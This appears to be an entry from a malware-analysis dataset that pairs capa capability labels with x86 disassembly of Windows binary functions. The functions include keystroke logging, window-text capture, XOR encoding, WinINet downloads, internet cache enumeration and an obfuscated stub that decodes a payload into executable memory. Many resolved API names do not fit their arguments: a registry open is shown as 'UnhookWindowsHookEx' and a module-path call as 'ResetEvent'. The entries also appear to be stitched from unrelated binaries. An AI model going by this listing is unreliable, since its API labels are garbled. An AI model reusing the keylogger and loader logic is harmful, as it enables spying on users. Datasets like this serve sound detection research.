joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405830
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_ResetEvent
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405a60
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x4058b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405a60
push 0x80000002
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x4058b3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405a7c
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
jne 0x40593c
xor eax, eax
push ebp
push 0x405935
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405678
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40591a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405a9c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40591a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40593c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_TranslateMessage
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetLastError
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_SetFilePointer
push eax
call sub.KERNEL32.DLL_ReadFile
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405a56
cmp byte [ebp - 0xd], 0
jne 0x405983
cmp byte [ebp - 0x12], 0
je 0x405a56
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40599c
dec ebx
cmp byte [ebx], 0x2e
je 0x4059ab
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40599b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405a56
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4059e8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_SetLastError
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetFileTime
mov esi, eax
test esi, esi
jne 0x405a56
cmp byte [ebp - 0xd], 0
je 0x405a56
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetLastError
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetFileTime
mov esi, eax
test esi, esi
jne 0x405a56
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetLastError
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetFileTime
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406128
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40618e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_ReadFile
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040459c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403028
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406178
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406195
lea eax, [ebp - 0x10]
call fcn.0040432c
ret

Function at 0x4088d4
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
mov eax, ebx
call fcn.004047ec
push eax
call sub.user32.dll_GetKeyboardLayoutList
cmp eax, 0xffffffff
je 0x40892d
push eax
call sub.user32.dll_GetKeyboardLayout
test byte [ebp - 0x14c], 0x10
jne 0x40892d
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x138]
push eax
call sub.user32.dll_GetKeyState
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 2]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.user32.dll_GetKeyNameTextA
test eax, eax
jne 0x408934
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c69c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c772
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004043c4
lea eax, [ebp - 8]
call fcn.0040483c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004047ec
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c75c
mov eax, ebx
call fcn.0040270c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c755
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004047ec
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c73f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c784
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c73f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c75c
mov eax, dword [ebp - 0x10]
call fcn.0040272c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c779
lea eax, [ebp - 8]
call fcn.0040432c
ret
Function at 0x4165c8
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
push edi
test dl, dl
je 0x4165d7
add esp, 0xfffffff0
call fcn.00403900
mov ebx, edx
mov edi, eax
xor edx, edx
mov eax, edi
call fcn.004035c4
mov dl, 1
mov eax, dword [0x415174]
call fcn.004035c4
mov dword [edi + 4], eax
lea eax, [edi + 8]
push eax
call sub.user32.dll_MapVirtualKeyA
mov ecx, dword [0x415284]
mov dl, 1
mov eax, dword [0x41610c]
call fcn.00416298
mov esi, eax
mov eax, dword [edi + 4]
mov edx, esi
call fcn.00417380
mov byte [esi + 0x10], 1
mov eax, edi
test bl, bl
je 0x416633
call fcn.00403958
pop dword fs:[0]
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x4176f0
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
test dl, dl
je 0x4176fe
add esp, 0xfffffff0
call fcn.00403900
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call fcn.004035c4
lea eax, [esi + 8]
push eax
call sub.user32.dll_MapVirtualKeyA
mov dl, 1
mov eax, dword [0x415174]
call fcn.004035c4
mov dword [esi + 4], eax
mov byte [esi + 0x20], 0
mov eax, esi
test bl, bl
je 0x41773c
call fcn.00403958
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
ret

Function at 0x419a74
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
call sub.user32.dll_GetKeyboardState
mov edi, eax
mov dword [ebx + 0x10], edi
test edi, edi
jne 0x419aa0
push ebp
call fcn.00419a04
pop ecx
mov eax, dword [ebx + 0x10]
push eax
push esi
call sub.user32.dll_MsgWaitForMultipleObjectsEx
mov edi, eax
mov dword [ebx + 0x14], edi
test edi, edi
jne 0x419aba
push ebp
call fcn.00419a04
pop ecx
mov eax, dword [ebx + 0x10]
push eax
push esi
call sub.user32.dll_ScrollWindow
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.user32.dll_OffsetRect
mov edx, eax
mov eax, ebx
pop ecx
call fcn.0041979c
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x41f630
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor edx, edx
push ebp
push 0x41f6d3
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [eax + eax*2]
lea ebx, [eax*4 + 0x46244c]
cmp dword [0x462448], 0
jne 0x41f6a2
push 0x276d
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 8]
mov eax, dword [0x463b20]
call fcn.004060d0
mov eax, dword [ebp - 8]
mov edx, dword [ebx + 8]
mov dword [ebp - 0x10], edx
mov byte [ebp - 0xc], 6
lea edx, [ebp - 0x10]
xor ecx, ecx
call fcn.00409458
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x41e734]
call fcn.0041e7ac
call fcn.00403d68
mov eax, dword [ebx + 8]
push eax
mov eax, dword [0x462448]
push eax
call sub.user32.dll_GetWindowTextA
mov esi, eax
mov eax, dword [ebx + 4]
mov dword [eax], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f6da
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404350
ret
Function at 0x41f708
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x41f7d5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x462448], 0
jne 0x41f7b8
push 0x41f7e8
call sub.user32.dll_MessageBoxA
mov dword [0x462448], eax
cmp dword [0x462448], 0
jne 0x41f790
call sub.user32.dll_GetTopWindow
push eax
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 8]
mov eax, dword [0x463a2c]
call fcn.004060d0
mov eax, dword [ebp - 8]
push eax
mov eax, 0x41f7fc
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0xb
lea edx, [ebp - 0x10]
xor ecx, ecx
pop eax
call fcn.00409458
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x41e734]
call fcn.0041e7ac
call fcn.00403d68
push 0x41f808
mov eax, dword [0x462448]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x464a60], eax
mov eax, dword [ebp + 0xc]
push eax
mov ax, word [ebp + 8]
push eax
call dword [0x464a60]
mov ebx, eax
jmp 0x41f7ba
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f7dc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404350
ret

Function at 0x4278c4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4278ca
ret

Function at 0x428efc
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
push edi
test dl, dl
je 0x428f0b
add esp, 0xfffffff0
call fcn.00403900
mov ebx, edx
mov edi, eax
xor edx, edx
mov eax, edi
call fcn.004035c4
lea eax, [edi + 0x38]
push eax
call sub.user32.dll_MapVirtualKeyA
mov dl, 1
mov eax, dword [0x426fc8]
call fcn.0042840c
mov esi, eax
mov dword [edi + 0xc], esi
mov dword [esi + 0xc], edi
mov dword [esi + 8], 0x429680
lea eax, [edi + 0x38]
mov dword [esi + 0x14], eax
mov dl, 1
mov eax, dword [0x427144]
call fcn.00428938
mov esi, eax
mov dword [edi + 0x10], esi
mov dword [esi + 0xc], edi
mov dword [esi + 8], 0x4296a0
lea eax, [edi + 0x38]
mov dword [esi + 0x14], eax
mov dl, 1
mov eax, dword [0x427244]
call fcn.00428c04
mov esi, eax
mov dword [edi + 0x14], esi
mov dword [esi + 0xc], edi
mov dword [esi + 8], 0x4296c0
lea eax, [edi + 0x38]
mov dword [esi + 0x14], eax
mov dword [edi + 0x20], 0xcc0020
mov al, byte [0x428fbc]
mov byte [edi + 8], al
mov edx, edi
mov eax, dword [0x465c20]
call fcn.004177c0
mov eax, edi
test bl, bl
je 0x428fb4
call fcn.00403958
pop dword fs:[0]
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x457bc8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x463e30]
cmp byte [eax + 0xc], 0
je 0x457d35
push 0x8000
call sub.user32.dll_RegisterClipboardFormatA
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x457d2e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x465ea0], 0
jne 0x457c1c
push 0x457d3c
call sub.user32.dll_GetWindowRect
mov ebx, eax
push 0x457d44
push ebx
call sub.user32.dll_GetWindowTextA
mov dword [0x465ea0], eax
cmp dword [0x4637f0], 0
jne 0x457d17
push 0x457d54
call sub.user32.dll_MessageBoxA
mov dword [0x4637f0], eax
cmp dword [0x4637f0], 0
je 0x457d17
push 0x457d60
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ea4], eax
push 0x457d70
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ea8], eax
push 0x457d84
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465eac], eax
push 0x457d9c
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465eb0], eax
push 0x457db4
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465eb4], eax
push 0x457dc8
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465eb8], eax
push 0x457de0
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ebc], eax
push 0x457df8
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ec0], eax
push 0x457e14
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ec4], eax
push 0x457e20
mov eax, dword [0x4637f0]
push eax
call sub.user32.dll_GetWindowTextA
mov dword [0x465ec8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457d35
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_RegisterClipboardFormatA
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x457fc4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45813c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
call sub.user32.dll_GetParent
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x458150
call fcn.00409458
mov edx, dword [ebp - 4]
mov eax, 0x465e5c
call fcn.00404380
mov eax, dword [0x465e5c]
call fcn.004047ec
push eax
call sub.user32.dll_IsWindowEnabled
mov word [0x465e58], ax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x464668]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
call sub.user32.dll_GetPropA
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x458164
call fcn.00409458
mov edx, dword [ebp - 0x10]
mov eax, 0x465e60
call fcn.00404380
mov eax, dword [0x465e60]
call fcn.004047ec
push eax
call sub.user32.dll_IsWindowEnabled
mov word [0x465e5a], ax
mov eax, dword [0x465e60]
call fcn.004047ec
push eax
call fcn.00406de0
mov dword [0x465e64], eax
mov dl, 1
mov eax, dword [0x4151d8]
call fcn.004176f0
mov dword [0x465e9c], eax
call fcn.00457bc8
mov dl, 1
mov eax, dword [0x449bbc]
call fcn.004579f0
mov dword [0x465e4c], eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x435a70]
call fcn.0043c6c0
mov edx, dword [0x463e08]
mov dword [edx], eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x435b48]
call fcn.0043d7a4
mov edx, dword [0x463c4c]
mov dword [edx], eax
mov eax, dword [0x463c4c]
mov eax, dword [eax]
mov dl, 1
call fcn.0043f208
mov ecx, 0x449f1c
mov edx, 0x449f2c
mov eax, dword [0x447e20]
call fcn.00416ea4
push 0x458178
call sub.user32.dll_GetWindowRect
mov ebx, eax
test ebx, ebx
je 0x45811e
push 0x458180
push ebx
call sub.user32.dll_GetWindowTextA
mov dword [0x4636c0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458143
lea eax, [ebp - 0x10]
call fcn.0040432c
lea eax, [ebp - 4]
call fcn.0040432c
ret
Function at 0x45d9fc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45db50
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 0x14]
call fcn.0040432c
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.004047ec
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45db33
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, ebx
call fcn.004047ec
mov esi, eax
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x45db1c
xor eax, eax
push ebp
push 0x45db15
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
call sub.wininet.dll_DeleteUrlCacheEntry
mov edx, edi
lea eax, [ebp - 0x560]
call fcn.00402c1c
mov edx, 1
lea eax, [ebp - 0x560]
call fcn.0040301c
call fcn.00402874
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x414]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x560]
call fcn.00402d6c
call fcn.00402874
cmp dword [ebp - 0x10], 0
jne 0x45dab0
lea eax, [ebp - 0x560]
call fcn.00402d8c
call fcn.00402874
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45db1c
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45db3a
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x45de2c
Capabilities:
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45df37
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x415590]
call fcn.004035c4
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
call sub.wininet.dll_FindFirstUrlCacheEntryA
mov eax, dword [ebp - 8]
call fcn.0040270c
mov ebx, eax
lea eax, [ebp - 8]
push eax
push ebx
push 0
call sub.wininet.dll_FindFirstUrlCacheEntryA
mov esi, eax
test esi, esi
je 0x45df0a
lea eax, [ebp - 0x10]
mov edx, dword [ebx + 4]
call fcn.00404524
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, ebx
call fcn.0040272c
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push esi
call sub.wininet.dll_FindNextUrlCacheEntryA
call sub.user32.dll_GetTopWindow
mov edi, eax
call sub.user32.dll_GetTopWindow
cmp eax, 0x7a
jne 0x45df00
mov eax, dword [ebp - 8]
call fcn.0040270c
mov ebx, eax
lea eax, [ebp - 8]
push eax
push ebx
push esi
call sub.wininet.dll_FindNextUrlCacheEntryA
test eax, eax
je 0x45def9
lea eax, [ebp - 0x14]
mov edx, dword [ebx + 4]
call fcn.00404524
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, ebx
call fcn.0040272c
cmp edi, 0x103
jne 0x45dea8
jmp 0x45df11
mov eax, ebx
call fcn.0040272c
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45df3e
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00404350
ret

Function at 0x45e1bc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff80
push ebx
mov ebx, eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathA
mov edx, ebx
lea eax, [ebp - 0x80]
call fcn.00408f68
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x460014
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff80
push ebx
mov ebx, eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathA
mov edx, ebx
lea eax, [ebp - 0x80]
call fcn.00408f68
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4147e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4147f4
pop dword [ebp - 0x48]
mov eax, 0x9976afea
sub eax, 0x993567f6
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe34efa69
add dword [ebp - 0x58], 0x6b034ae2
mov dword [ebp - 0x54], 0x575689e8
add dword [ebp - 0x54], 0xdadcc25d
mov dword [ebp - 0x50], 0xd3ef513b
sub dword [ebp - 0x50], 0x87a30d0d
mov dword [ebp - 0x4c], 0x6a123bd4
add dword [ebp - 0x4c], 0x95edc42c
lea eax, [ebp - 0x58]
push eax
mov eax, 0xd7059d63
sub eax, 0xd6c1db37
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x2d88c407
add dword [ebp - 0x58], 0x46e9a54f
mov dword [ebp - 0x54], 0x7292704d
add dword [ebp - 0x54], 0xced9f128
mov dword [ebp - 0x50], 0xe1a02a37
sub dword [ebp - 0x50], 0x7e30bdcb
mov dword [ebp - 0x4c], 0x92c4ad82
sub dword [ebp - 0x4c], 0x92c4ad82
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xdd1e40e0
sub eax, 0xdcda7df0
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x447ba
push 0
call eax
mov ecx, 0x1def0eb1
sub ecx, 0x1deecc5e
xor esi, esi
add esi, eax
mov edx, 0x475600
add edx, dword [ebp - 0x48]
mov edi, 0xa6e3d69a
add edi, 0xf262fa0
xor dword [ebp - 4], 0xafcaf1c8
mov ebx, dword [edx]
sub dword [ebp - 0x18], 0x86481915
sub ebx, edi
add dword [ebp - 0x40], edi
mov dword [esi], ebx
add dword [ebp - 0x40], esi
add esi, 4
add edx, 0xecdcf097
add edx, 0x13230f6d
loop 0x414912
add eax, 0x1bd725e7
sub eax, 0x1bd629c8
mov ebx, eax
add eax, 5
mov ecx, 0x86551233
sub ecx, 0x86151233
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x42105f
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x44e8a8
call fcn.00422e90
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x420f16
xor ebx, ebx
jmp 0x420f49
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x420f12
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x420f12
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x420f49
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004279ab
test eax, eax
jne 0x420f5d
push 0x1c
call main
pop ecx
call fcn.00427918
test eax, eax
jne 0x420f6e
push 0x10
call main
pop ecx
call fcn.00428296
and dword [ebp - 4], 0
call fcn.004279c0
test eax, eax
jns 0x420f88
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [0x457adc], eax
call main
mov dword [0x455a24], eax
call main
test eax, eax
jns 0x420fae
push 8
call main
pop ecx
call fcn.00427eb1
test eax, eax
jns 0x420fbf
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x420fd2
push eax
call main
pop ecx
call fcn.00428714
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x420ff4
push esi
call main
call fcn.00426cd7
jmp 0x421029
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00422ed5
ret
call main
jmp 0x420ee8
Function at 0x4022db
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x402304
mov al, byte [esi + 1]
inc esi
test al, al
je 0x4022fc
cmp al, 0x22
jne 0x4022f0
cmp byte [esi], 0x22
jne 0x40230e
inc esi
jmp 0x40230e
cmp al, 0x20
jle 0x40230e
inc esi
cmp byte [esi], 0x20
jg 0x402308
mov al, byte [esi]
test al, al
je 0x402318
cmp al, 0x20
jle 0x402301
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402388
push 0x404004
push section..data
call fcn.0040236e
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x402348
movzx eax, word [ebp - 0x14]
jmp 0x40234b
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.004023a0
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]